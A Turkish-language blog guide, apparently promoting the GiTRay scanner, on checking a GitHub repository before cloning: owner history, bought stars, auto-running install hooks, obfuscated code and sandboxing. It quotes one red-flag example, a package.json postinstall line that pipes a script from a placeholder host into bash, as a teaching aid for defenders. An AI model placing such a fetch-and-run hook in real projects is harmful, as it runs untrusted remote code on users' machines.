Bir GitHub reposunu klonlamadan önce güvenli mi diye nasıl anlarsın
Yazan: Doruk Kıno · · 4 dk okuma
GitHub'da işine yarayacak bir proje buldun ve tam git clone yapacakken içinden bir ses “bu gerçekten güvenli mi?” diyor. Bu içgüdü çok yerinde ve dürüst cevap şu: güvenlik uzmanı olmadan, iki dakikada çok şey anlayabilirsin. Bu rehber, herkesin yapabileceği basit kontrolleri sade bir dille anlatıyor; sonunda da daha hızlı bir yol gösteriyor.
Acelen mi var?
Kısacası: dosyaları indirmek neredeyse hiçbir zaman tehlikeli kısım değildir — tehlikeli olan projeyi çalıştırmaktır. O yüzden otomatik çalışan şeylere bakmadan (3. kontrol) kurma/derleme; ya da önce bir tarayıcıya baktır.
Önce: asıl risk nerede?
Bir repoyu klonlamak sadece dosyaları bilgisayarına kopyalar. Metin dosyalarını okumak zararsızdır. Risk, bir şey kod çalıştırdığı anda başlar — yani makinende komutlar yürüttüğü anda. Bu genelde bağımlılıkları kurarken, projeyi derlerken ya da görevleri otomatik çalıştıran bir editörde açarken olur.
Yani “bu repo güvenli mi?” sorusu aslında şu demek: otomatik çalışacak şekilde ayarlanmış bir şey var mı ve yapmaması gereken bir şey mi yapıyor? Aşağıdaki her şey bunun cevabıyla ilgili.
1. Kim yapmış, ne zaman?
Sahibin profilini aç ve reponun yaşına bak. Daha dün açılmış bir hesabın, popüler bir aracın adını taklit eden bir proje yayınlaması klasik bir dolandırıcılık kalıbıdır (saldırganlar tanınmış projeleri taklit eder ki yanlışlıkla sahte olanı kurasın). Tek başına bir şeyin kanıtı değildir ama daha yakından bakmak için bir sebeptir.
- Yeni hesap, geçmiş yok. Sahip birkaç gün önce açılmış ve başka pek bir aktivitesi yok.
- Tek dev “initial commit”. Proje, zamana yayılmış küçük değişiklikler yerine tek seferde ortaya çıkmış.
- Ünlü bir projeyi kopyalayan isim. Küçük bir yazım hatası ya da fazladan bir kelimeyle neredeyse aynı isim sık kullanılan bir numaradır.
2. Yıldız sayısına kanma
Yıldızlar bir güven işareti gibi hissettirir ama ucuza satın alınabilir. Binlerce yıldızı olan ama gerçek issue, pull request ya da tartışma olmayan bir repo şüphelidir. Büyük bir sayıya değil, gerçek insan aktivitesine bak — hata bildiren, soru soran, katkı yapan insanlar.
3. En önemli kontrol: otomatik çalışan şeyler
Gerçek zararlı yazılım burada saklanır. Birkaç dosya, sen asıl kodun tek satırını bile okumadan, projeyi kurduğun — hatta sadece açtığın — anda komut çalıştırabilir. Bakmaya değer olanlar şunlar:
package.jsonscriptleri (Node.js projeleri).preinstallya dapostinstalladlı girdilernpm installsırasında otomatik çalışır.setup.py(Python projeleri). İçindeki kodpip installsırasında çalışabilir.- Editör ve dev-container dosyaları:
.vscode/tasks.json,launch.jsonvedevcontainer.json. Bunlar klasörü editörde açtığında komut çalıştırabilir.
Kurmadan önce bunları oku
package.json dosyasını aç ve scripts bölümünü bul. Bir kurulum scripti internetten bir şey indirip hemen çalıştırıyorsa dur ve araştır. Meşru bir projenin buna nadiren ihtiyacı olur.
Örneğin bir kırmızı bayrak şöyle görünür:
"scripts": {
"postinstall": "curl -s https://setup.example.invalid/i.sh | bash"
}Bu tek satır, başkasının sunucusundan bir script çeker ve sen kurar kurmaz, otomatik olarak makinende çalıştırır. Bakmadığın sürece bunu asla göremezsin.
4. Gizlenmiş ya da kılık değiştirmiş kodu ara
Saldırganlar ayrıca, insan gözü atlasın diye payload'ı gizlemeye çalışır: devasa tek satırlık “minified” kod, çözülünce bir programa dönüşen uzun karışık (base64) bir dize, kodu çalıştığından farklı okutan görünmez ya da sağdan-sola Unicode karakterleri, veya indirilen arşivin dışında bırakılmış dosyalar. Her numarayı elle yakalamak zorunda değilsin — sadece gerçekten okuyamadığın koda karşı temkinli ol.
5. Bilinmeyen kodu daha güvenli deneme yolları
- İlk seferinde scriptlerini çalıştırmadan kur:
npm install --ignore-scripts. - Tek kullanımlık bir sanal makinede ya da container'da çalıştır, böylece gerçek dosyalarına ve sırlarına hiçbir şey dokunmaz.
- Ona değerli bir şey vermeden önce kodu oku — SSH anahtarların, tokenların ya da üretim erişimin gibi.
Bunların hepsini elle yapmak çok iş — GiTRay senin için yapar
Sahibin geçmişini, her kurulum scriptini, gizli payload'ları, bilinen zararlı bağımlılıkları ve işaretlenmiş programları elle kontrol etmek zaman ve deneyim ister. GiTRay bunların hepsini otomatik yapar — klonlamadan ve hiçbir şey çalıştırmadan. Herkese açık bir GitHub adresini yapıştırırsın; repoyu bellekte okur, onlarca kontrol çalıştırır ve her bulguyu tetikleyen tam satırlarla birlikte sade bir karar verir.
Ayrıntı istersen GiTRay nasıl çalışır ve çalıştırdığı kontrollerin tam listesi sayfalarına bak.
İlgili: bir GitHub reposunun dolandırıcılık işaretleri, bir npm paketinin zararlı olup olmadığını nasıl anlarsın ve GitHub repoları için VirusTotal: repoyu URL'den tara.
Hemen bir repo tara
Herkese açık bir GitHub adresini yapıştır, GiTRay bütün bu kontrolleri saniyeler içinde yapar — klonlamadan ve hiçbir şey çalıştırmadan.
Özetle
Klonlamak genelde güvenlidir; risk, çalıştırmaktadır. Projeyi kimin ne zaman yaptığına bak, gösterişli yıldız sayısını boş ver ve her şeyden önce otomatik çalışacak şeyleri oku. Hızlı bir ilk sinyal için GiTRay gibi otomatik bir tarayıcı kullan — ama sırlarla ya da üretimde çalıştıracağın her şey için kodu yine de kendin oku.